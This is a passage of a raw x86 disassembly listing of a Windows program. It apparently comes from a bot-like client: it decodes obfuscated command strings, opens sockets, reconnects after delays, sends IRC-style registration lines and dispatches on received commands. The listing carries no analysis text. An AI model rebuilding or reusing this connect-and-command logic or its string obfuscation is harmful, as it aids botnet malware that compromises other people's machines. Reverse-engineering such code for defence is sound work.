		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F551:				; CODE XREF: ___:0040F4C4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F650	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F650	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6C0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 27D09E8h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FE30	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A7A3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411200


loc_40FE72:				; CODE XREF: sub_40FE30+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411200
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FE9A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FEA4
		cmp	eax, ebx
		jz	loc_40FFDE


loc_40FE9A:				; CODE XREF: sub_40FE30+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_40FFDE


loc_40FEA4:				; CODE XREF: sub_40FE30+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FEB9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_40FEB9:				; CODE XREF: sub_40FE30+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_40FEE9
		mov	[ebp+20h], ebx


loc_40FEE9:				; CODE XREF: sub_40FE30+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_40FFDE:				; CODE XREF: sub_40FE30+64j
					; sub_40FE30+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410008
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		call	near ptr 2820269h
		nop
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40FE30+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410198
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410088
		push	2710h
		call	near ptr 2820269h
		nop
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410088:				; CODE XREF: sub_40FE30+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	sub_5F285B
		nop
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410157
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410157:				; CODE XREF: sub_40FE30+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410198:				; CODE XREF: sub_40FE30+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4111F0
		nop
		call	near ptr 27D09E8h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410270
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410274


loc_410270:				; CODE XREF: sub_40FE30+3EAj
		mov	[esp+20h+var_D], bl


loc_410274:				; CODE XREF: sub_40FE30+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410296
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410296:				; CODE XREF: sub_40FE30+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410334
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410462
; ---------------------------------------------------------------------------


loc_410334:				; CODE XREF: sub_40FE30+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4104A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4111F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410467
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410462:				; CODE XREF: sub_40FE30+4FFj
		call	sub_401226


loc_410467:				; CODE XREF: sub_40FE30+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4111F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_4104A0:				; CODE XREF: sub_40FE30+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410522
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410527


loc_410522:				; CODE XREF: sub_40FE30+69Bj
		mov	[esp+20h+var_D], 1


loc_410527:				; CODE XREF: sub_40FE30+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410594
		cmp	[ebp+16h], bl
		jnz	short loc_410570
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410570:				; CODE XREF: sub_40FE30+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410594:				; CODE XREF: sub_40FE30+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
